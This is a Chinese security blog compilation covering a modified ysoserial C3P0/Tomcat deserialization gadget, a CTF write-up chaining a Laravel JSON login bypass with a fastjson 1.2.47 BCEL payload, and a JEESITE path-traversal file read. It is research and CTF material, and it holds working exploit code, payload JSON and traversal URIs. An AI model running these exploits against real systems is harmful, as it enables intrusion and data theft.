​能够实例化任意类也很难找到利用点,不过在referenceToObject中可以发现它在实例化完指定类后,还会调用它的getObjectInstance方法,看到这个方法名立马就能想到以前JNDI注入 绕过trustCodebaseURL限制的方法(这里不再赘述,可参考 http://www.yulegeyu.com/2019/01/11/Exploitng-JNDI-Injection-In-Java/ ),通过Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入,刚好目标环境是Tomcat8按理是可以实现无网利用的。

​修改一下ysoserial中的原生C3P0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package ysoserial.payloads;


import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import org.apache.naming.ResourceRef;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
yulegeyu modified
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0Tomcat implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("org.apache.naming.factory.BeanFactory", null));
return b;
}

private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}

public Reference getReference () throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "open -a calculator.app";
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','"+ cmd +"']).start()\")"));
return ref;
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}


public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}

}

不出网时最好还是直接中一个内存马~

最后,市面上存在两个C3P0,com.mchange:c3p0、c3p0:c3p0。比较常见的是第一个,两个C3P0都能够利用但是因为SUID的原因需要稍微变化一下,黑盒反序列打第一个没反应时可以尝试下第二个,可能有惊喜~

那些年一起打过的CTF - Laravel 任意用户登陆Tricks分析

这里通过一道之前的CTF题目分享laravel的一个小tricks,题目是我一年多前出在npointer的。题目比较简单,一共两个考点,一个是laravel登录功能的小tricks,另一个为fastjson的利用。
当时题目中使用的是express,不过其实算是弱类型语言框架一个比较通用的问题,换成了使用更多的laravel为例。

1、Laravel 登录 tricks

-w883

打开题目后,就是一个登陆页面。

1
2
3
4
5
var pwdRegex = new RegExp('(?=.*[0-9])(?=.*[A-Z])(?=.*[a-z])(?=.*[^a-zA-Z0
-9]).{12,30}');
if (!pwdRegex.test(data.password.value)) { $("#msg").text("填写的密码格式不正确,密码中必须包含大小写字母、数字、特殊字符,密码最少12位数!!");
return false;
}

在前端有密码复杂度校验,这个校验主要是为了提示该系统账户不是弱口令不用去爆破,同时经过探测可以发现不存在SQL注入。

-w1787
首先抓个包,通过cookie可以发现后端使用的框架为laravel,并且只有前端校验密码复杂度,后端没有校验密码随意输入也可以登录,判断了账号和密码是否为空。

现在很多系统在接收参数时支持解析多种content-type,框架会根据content-type去解析post包。

-w1321
尝试把Content-Type修改为application/json后提交,提示空参数值,然后把post修改为对应的json内容,{“username”:”aa”,”password”:”aa”}。
-w1625

不再提示空参数值,说明框架是支持APPLICATION/JSON的,解析出了POST包。当弱类型语言框架支持json时,用户很有可能可以控制变量的数据类型(基础数据类型)。

再回到登录功能,实现登录功能通常有两种方法
1、通过username查询出密码,再将提交的密码与查询出的密码对比
2、将username和password同时带入到SQL中,检测是否有查询出数据

假如是场景1,当可以控制数据类型时,控制密码为bool true,如果登录时使用的”==”对比密码即可登录成功。但是这个场景利用成功率不高,通常在登录时后端会对密码hash后再对比,bool true hash后又变成了string,并且需要知道用户名才能够利用,
{"username":"$admin$","password":true}, 构造数据包爆破了一波用户名最后失败。

那么大概率还是场景2,但是在场景2中也没法绕过密码被hash的这个点。

场景2,大概可以猜测出laravel控制器中的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$username = $request->input('username');
$password = $request->input('password');
if(empty($username) || empty($password)){
exit("empty para!");
}
$password = md5($password);
$user = user::where('username', $username)
->where('password', $password)->first();

if($user){
// set session
}else{
exit("Login Faild!");
}

回到laravel中,分析下laravel的代码。在laravel中,通常使用$request->input来接收gpc参数,

1
2
3
4
5
public function input($key = null, $default = null)
{
return data_get(
$this->getInputSource()->all() + $this->query->all(), $key, $default
); }

input中又调用了getInputSource方法,

1
2
3
4
5
6
7
8
protected function getInputSource()
{
if ($this->isJson()) {
return $this->json();
}

return in_array($this->getRealMethod(), ['GET', 'HEAD']) ? $this->query : $this->request;
}

在getInputSource方法中,会判断是否为json请求,如果是json请求就调用对应的json方法来解析参数。

1
2
3
4
public function isJson()
{
return Str::contains($this->header('CONTENT_TYPE'), ['/json', '+json']);
}

通过Content-type来判断是否为json请求,如果content-type中含有/json或+json时即认定为json请求。

1
2
3
4
5
6
7
8
9
10
11
12
public function json($key = null, $default = null)
{
if (! isset($this->json)) {
$this->json = new ParameterBag((array) json_decode($this->getContent(), true));
}

if (is_null($key)) {
return $this->json;
}

return data_get($this->json->all(), $key, $default);
}

在json方法中,也就是用的php自带的json_decode解析参数值(其实在Request::capture方法中,就已经设置好了json)。

密码在md5后,就带入到了where中进行查询。

1
2
3
4
5
6
7
8
public function where($column, $operator = null, $value = null, $boolean = 'and')
{
Omit .......................................................
if (! $value instanceof Expression) {
$this->addBinding($value, 'where');
}
return $this;
}

主要关注参数绑定这一块,

1
2
3
4
5
6
7
8
9
10
11
12
13
public function addBinding($value, $type = 'where')
{
if (! array_key_exists($type, $this->bindings)) {
throw new InvalidArgumentException("Invalid binding type: {$type}.");
}
if (is_array($value)) {
$this->bindings[$type] = array_values(array_merge($this->bindings[$type], $va
lue));
} else {
$this->bindings[$type][] = $value;
}
return $this;
}

在绑定参数时,如果我们传递过来的参数值是数组,那么会调用array_merge将它合并到bindings[‘where’]中,也就是说通过数组我们可以传多个元素到bindings中,刚好通过json可以控制变量为数组类型。

能够传多个元素有什么用呢?

登录的预编译SQL为, select * from users where username = ? and password = ?

存在两个占位符,通过数组控制username为[“a”,”b”],密码为”c”

bindings[‘where’]的值为 array(“a”,”b”,”4a8a08f09d37b73795649038408b5f33”)

1
2
3
4
5
6
7
8
9
public function bindValues($statement, $bindings)
{
foreach ($bindings as $key => $value) {
$statement->bindValue(
is_string($key) ? $key : $key + 1,
$value,
is_int($value) ? PDO::PARAM_INT : PDO::PARAM_STR
); }
}

然后遍历bindings绑定值,SQL中只存在两个占位符,bindings里却有三个元素,这样就会把最后一个元素给挤出SQL中(也就是hash后的密码)。
最后的SQL语句为,select * from users where username = ‘a’ and password = ‘b’
把Hash后的密码挤出SQL后,意味着能控制密码的数据类型了。
能够控制账号密码的数据类型后又有什么作用呢?再回到bindValues中,

1
2
3
4
5
$statement->bindValue(
is_string($key) ? $key : $key + 1,
$value,
is_int($value) ? PDO::PARAM_INT : PDO::PARAM_STR
); }

在bindvalue时,会判断绑定值的数据类型,如果是int那么就会使用PDO::PARAM_INT,也就是SQL中不会加单引号,不过就算不加单引号因为只能是数字也不能SQL注入。

Laravel通常与MySQL搭配,虽然不能SQL注入,但是MySQL存在隐式数据类型转换功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> select 'a1' = 0;
+----------+
| 'a1' = 0 |
+----------+
| 1 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '1a' = 0;
+----------+
| '1a' = 0 |
+----------+
| 0 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '1a' = 1;
+----------+
| '1a' = 1 |
+----------+
| 1 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '12a' = 12;
+------------+
| '12a' = 12 |
+------------+
| 1 |
+------------+
1 row in set, 1 warning (0.00 sec)

如果一个字符串与数字对比,字符串会尝试转换为数字后再进行对比,这个转换结果与php的intval类似。
如果字符串以0-9开头,会一直转换直到出现非0-9字符。
如果字符串不以0-9开头,会转换为0。

这里有一个例外就是科学计数,如果字符串是’2e5xxxxx’转换后不是2而是200000.

用户名通常为字符开头,设置为0即可。
密码MD5的合法字符为A-F 0-9, 如果运气比较好密码以A-F开头,也设置为0即可,如果以数字开头就需要进行爆破了。

在PHP中,empty(0)为true, 所以通过username传入array设置密码,同时password传入任意字符串也绕过了empty的限制。

通过JSON控制用户名,
{“username”:[0,0],”password”:”1”}
最后的SQL语句为 select * from users where username = 0 and password = 0

一年前和laravel官方沟通了下这个问题,他们觉得这个还是应该由开发者来验证用户输入的数据类型,所以不准备修复这个问题,后续我就没去关注过了。
-w899

最近在写这篇文章时,又去下载最新版复现了下这个问题,发现已经无法复现了。
去排查了下原因,发现我邮件这人还是发布了一个commit。

https://github.com/laravel/framework/commit/006873df411d28bfd03fea5e7f91a2afe3918498

从v8.23.0起,修复了该问题。

1
2
3
if (! $value instanceof Expression) {
$this->addBinding(is_array($value) ? head($value) : $value, 'where');
}

当绑定值类型是数组时,只会将数组的第一个元素添加到bindings中,无法再将hash后的密码挤出SQL。

v8.24.0起变为了,
$this->addBinding($this->flattenValue($value), 'where');
和23的原理也是一样的。

不过input依然支持JSON,可能在另外一些场景依然存在类似的问题,类似输入卡密充值等功能,依然能够用来爆破卡密。

再回到题目中,
{“username”:[0,0],”password”:”1”}
登录失败,说明密码可能是0-9开头, ​需要爆破一下,在爆破到37时进入了后台

{“username”:[0,37],”password”:”1”}

在后台中也没有什么可玩的功能,唯一可玩的也就检测漏洞这个功能了。

使用该功能时提示权限不足,说明存在多个用户组,需要爆破其他的账户,接着把密码37往下跑就能跑出其他的账户。

-w583

最终在478时跑出了高权限账户,数据库中真实的记录如下

1
2
3
4
5
6
7
8
mysql> select * from users;
+----+----------+----------------------------------+----------------------+-------+
| id | username | password | email | group |
+----+----------+----------------------------------+----------------------+-------+
| 1 | yulegeyu | 478bf953fb3a2235845bd72c8e33a132 | root@yulegeyu.com | admin |
| 2 | xiaoyu | 37ee389fa5c95baee4bd6267910443fa | yulegeyu@foxmail.com | user |
+----+----------+----------------------------------+----------------------+-------+
2 rows in set (0.00 sec)

2、Fastjson 利用

(这一章节是去年写的了,当时用的是express不是laravel,所以其中涉及到了一点点express,不过不影响直接拿来用下)

登录高权限账户后,再次使用检测功能

看起来是一个类似pocsuite的功能,输入网址后可以加载插件检测是否存在该漏洞,抓个包看一下。

调用api检测是否存在该漏洞,根据404页面发现后端使用的Springboot。


同时id参数存在SQL注入,不过是低权限注入没啥用。

看到java+json,就会想到fastjson,虽然springboot默认使用的是jackson,但是很多开发者还是会用httpMessageConvert转换为fastjson使用。

探测下是否使用的fastjson,

1、 提交 {}
返回 “msg”:”请选择漏洞!”,

2、提交 {“@type”:”java.net.Inet6Address”,”val”:”127.0.0.1”}
返回 Bad Request

可能是因为Contoller接收RequestBody时设置了期望对象。如果Fastjson设置了期望对象,会在反序列之前检测反序列生成对象和期望对象是否有继承关系或类型是否相等,如果无关系则会在反序列之前抛出type not match异常。

3、提交{“c”:{“@type”:”java.net.Inet6Address”,”val”:”127.0.0.1”}}
返回 “msg”:”请选择漏洞!”

基本可确认是fastjson了,但是Inet6Address是一个全版本都可使用的链,需要用InetAddress才能确定fastjson是否为<48的版本。

4、提交{“c”:{“@type”:”java.net.InetAddress”,”val”:”asd.bayebz.dnslog.cn”}}
返回 Bad Request, 并且无dns请求记录。

无dns请求记录并不能说明目标一定是无漏洞版本,很有可能是目标未配置dns,无网在实际场景中出现频率也很高。所以解析asd.bayebz.dnslog.cn时抛出了UnknownHostException异常,最终返回了Bad Request

5、提交{“c”:{“@type”:”java.net.InetAddress”,”val”:”127.0.0.1”}}
返回正常 “msg”:”请选择漏洞!”,

虽然无dns服务器无法解析域名,但是ip通过InetAdress还是ok的,借此能够验证目标fastjson<1.2.48。

6、提交 {“c”:{“@type”:”xx”}}
返回 Bad Request

说明fastjson >1.2.24。

经过探测可以确认fastjson处于 1.2.24 - 1.2.48之间(实际为1.2.47版本),现在就需要解决fastjson无网利用的问题,大部分利用都还是依靠的jndi注入,无法在当前环境下使用。
Fastjson无网利用基本就那几种,一个一个测就完事。

7、提交 {“x”:{“@type”:”org.apache.tomcat.dbcp.dbcp.BasicDataSource”}}
返回 “msg”:”请选择漏洞!”,

根据返回可知存在tomcat-dbcp,可使用tomcat-dbcp实现无网利用(tomcat lib目录下自带了tomcat-dbcp,所以普通tomcat能够直接使用该利用。不过spring的tomcat里没tomcat-dbcp,一开始准备直接用tomcat的更真实一点,不过后面为了方便还是用了spring手动添加dbcp)

1.2.24版本以前网上的公开利用,可实现任意代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$xxxxxx"
}
}
:"ddd"
}

现在需要借助java.lang.Class 将org.apache.tomcat.dbcp.dbcp.BasicDataSource、com.sun.org.apache.bcel.internal.util.ClassLoader加入到缓存中。

修改为

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"xxx":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"}, {
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$xxxxx"
}
}
:"ddd"
}

不过在1.2.47版本中,提交后无任何反应。
org.apache.tomcat.dbcp.dbcp.BasicDataSource这条利用链的入口是在getter方法 getConnection中,一般来说反序列都是调用setter方法,序列化才会调用getter方法。

在fastjson<=1.2.36版本中,DefaultJSONParser#parseObject中存在这样一个操作,

1
2
3
if (object.getClass() == JSONObject.class) {
key = key == null ? "null" : key.toString();
}

如果反序列类为com.alibaba.fastjson.JSONObject,那么会对json中其他key调用toString()方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public String toString() {
return this.toJSONString();
}

public String toJSONString() {
SerializeWriter out = new SerializeWriter();

String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}

return var2;
}

toString方法中进行了序列化,进而调用了getter。

在fastjson>1.2.36后,代码发生了变化

1
2
3
if (object.getClass() == JSONObject.class && key == null) {
key = "null";
}

JSONObject不再进行toString操作,所以就没法利用了,不过调用toString方法的地方还有不少,就在原来toString下面几行代码就有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

if (object.getClass() == JSONObject.class && key == null) {
key = "null";
}

Object value;
Map var27;
if (ch == '"') {
.......
map.put(key, value);
} else {
if ((ch < '0' || ch > '9') && ch != '-') {
.......
this.checkMapResolve(object, key.toString());

这里只要满足冒号后面跟的不是双引号,并且非0-9、- 字符就能够触发到toString序列化方法。
所以将:”ddd”修改为:{ 就可以触发到(使用其他调用getter的方法也可以,$.ref、set等)。

1
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$xxxxx"}}:{}}}

该利用只有在fastjson 1.2.33 - 1.2.47 可利用, 因为com.sun 在fastjson的黑名单中
在fastjson < 33时,checkAutoType方法中,只要在黑名单中就抛出异常。

1
2
3
4
5
6
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

在fastjson >= 33时,就算反序列的类在黑名单中,只要反序列的类在缓存中就不会抛出异常,所以能够利用。

1
2
3
4
5
6
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}

目前已经可以执行任意代码了,不过依然存在一个问题,Springboot + 低权限 + 无DNS不出网+不输出异常信息, 基本只能靠回显来拿到命令执行结果。
Springboot本身做回显是非常简单的,不过因为bcel的利用指定了classloader为com.sun.org.apache.bcel.internal.util.ClassLoader,导致不能直接获取到request、response等。
通过从当前线程的classloader来获取request、response可解决该问题,
Thread.currentThread().getContextClassLoader().loadClass(“javax.servlet.http.HttpServletRequest”), 可以参考此处

第二种获取命令执行结果方法,

可以将命令执行结果写入到WEB目录中,访问文件查看结果。后台给出了WEB目录,这个目录是express的。express写文件需要写到静态文件目录下才能访问到,express静态目录通常使用public目录,所以将结果写入到/home/realweb/public/xxxxx.txt即可。

大概翻一下文件就能够找到flag在springboot web根目录下, 最后生成该class的BCEL

1
2
3
4
5
6
7
8
9
10
class E{
static{
String[] cmd = {"sh","-c","cat /www/realwebapi/flag.txt > /www/realweb/public/yulegeyu.txt"};
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}

-w1534

1
<link rel="stylesheet" href="/stylesheets/font-awesome.min.css">

观察express的前端页面,静态目录是直接映射到根目录的,所以直接访问/yulegeyu.txt 即可拿到flag。

如果对express不是很熟悉,还能够使用第三种获取命令执行结果方法。
很明显能够发现目标用nginx做了反代。/ 给了 express, /api 给了springboot, 这时候查一下目标的ip然后访问。

返回了nginx的403,这也是比较常见的场景,不少反代配置都还是在nginx里新建了一个server。如果直接访问ip因为servername不匹配很可能访问到的是默认server,这时候可以尝试将命令执行结果写入到nginx常见的默认目录里,然后用ip访问默认server拿到结果。

1
2
3
4
5
6
7
8
9
10
class E{
static{
String[] cmd = {"sh","-c","cat /www/realwebapi/flag.txt > /var/www/html/yulegeyu.txt"};
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}

JEESITE V1.2.7 任意文件读取漏洞

打强网杯的时候,一道题目直接就是考JEESITE V1.2.7读配置文件,用以前挖的一个洞拿了flag,漏洞比较简单水一篇。
JEESITE存在两个版本JEESITE1、JEESITE4,其中1.2.7是JEESITE1中的最新版本,不过已经在四年前就不再维护。

分析

com/thinkgem/jeesite/common/servlet/UserfilesDownloadServlet.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public void fileOutputStream(HttpServletRequest req, HttpServletResponse resp) 
throws ServletException, IOException {
String filepath = req.getRequestURI();
int index = filepath.indexOf(Global.USERFILES_BASE_URL);
if(index >= 0) {
filepath = filepath.substring(index + Global.USERFILES_BASE_URL.length());
}
try {
filepath = UriUtils.decode(filepath, "UTF-8");
} catch (UnsupportedEncodingException e1) {
logger.error(String.format("解释文件路径失败,URL地址为%s", filepath), e1);
}
File file = new File(Global.getUserfilesBaseDir() + Global.USERFILES_BASE_URL + filepath);
try {
FileCopyUtils.copy(new FileInputStream(file), resp.getOutputStream());
resp.setHeader("Content-Type", "application/octet-stream");
return;
} catch (FileNotFoundException e) {
req.setAttribute("exception", new FileNotFoundException("请求的文件不存在"));
req.getRequestDispatcher("/WEB-INF/views/error/404.jsp").forward(req, resp);
}
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
fileOutputStream(req, resp);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
fileOutputStream(req, resp);
}

该servlet用来查看CK上传的图片,配置的路由为

1
2
3
4
<servlet-mapping>
<servlet-name>UserfilesDownloadServlet</servlet-name>
<url-pattern>/userfiles/*</url-pattern>
</servlet-mapping>

该Servlet方法很简单,直接获取RequestURI稍作处理后就开始读取文件。

1
2
3
4
5
String filepath = req.getRequestURI();
int index = filepath.indexOf(Global.USERFILES_BASE_URL);
if(index >= 0) {
filepath = filepath.substring(index + Global.USERFILES_BASE_URL.length());
}

filepath即为RequestURI中”/userfiles/“之后的内容,
File file = new File(Global.getUserfilesBaseDir() + Global.USERFILES_BASE_URL + filepath); 虽然限制了只能读取/userfiles/下的文件,但是如果能在filepath进行目录穿越依然能够实现任意文件读取。

不过这里存在一个问题,因为是通过RequestURI获取的文件名而不是GET/POST参数,当需要通过目录穿越读取任意文件时需要在URI中包含”../“,当URI为/userfiles/../xxxxx 会先在TOMCAT这目录穿越,最终请求到的是xxxxx接口,无法访问到UserfilesDownloadServlet。
虽然后面有对filepath进行url解码操作,但是req.getRequestURI获取到的是未URL解码的数据,造成无法二次编码最多只能一次编码,/userfiles/%2e%2e/xxxx 一次编码会被tomcat容器给处理掉然后目录穿越,最后还是无法访问到UserfilesDownloadServlet。

再回过头来看一下对filepath的处理,

1
2
3
4
5
String filepath = req.getRequestURI();
int index = filepath.indexOf(Global.USERFILES_BASE_URL);
if(index >= 0) {
filepath = filepath.substring(index + Global.USERFILES_BASE_URL.length());
}

USERFILES_BASE_URL的定义,
public static final String USERFILES_BASE_URL = “/userfiles/“;

首先从requesturi中查找/userfiles/的起始位置,然后截取它后面的内容作为filepath,这里userfiles后面有/,这时候借助TOMCAT的path parameter特性”;”后面的内容会当作参数,/userfiles;xxx/依然能够访问到UserfilesDownloadServlet。
但是这时候因为没能在requesturi中找到/userfiles/,就将整个requesturi带入到了文件读取的目录中这样肯定也是不行的。可以通过在/userfiles;xxx/再新增一个/userfiles/xxxx, 即/userfiles;xxx/userfiles/xxxxx,字符串截取后filepath后就为xxxxx,并且这时候可以发现requesturi中已经存在了两个目录,这时候再目录穿越/userfiles;xxx/userfiles/../xxxx, tomcat处理后/userfiles/xxxx 依然请求到了UserfilesDownloadServlet,并且此时filepath为../xxxx可以实现目录穿越读取任意文件了,只要requesturi中的目录够多那么就可以目录穿越任意数量目录,在/userfiles/前面新增大数量的目录即可。

-w1560

qwb利用,

登录邮箱拿到flag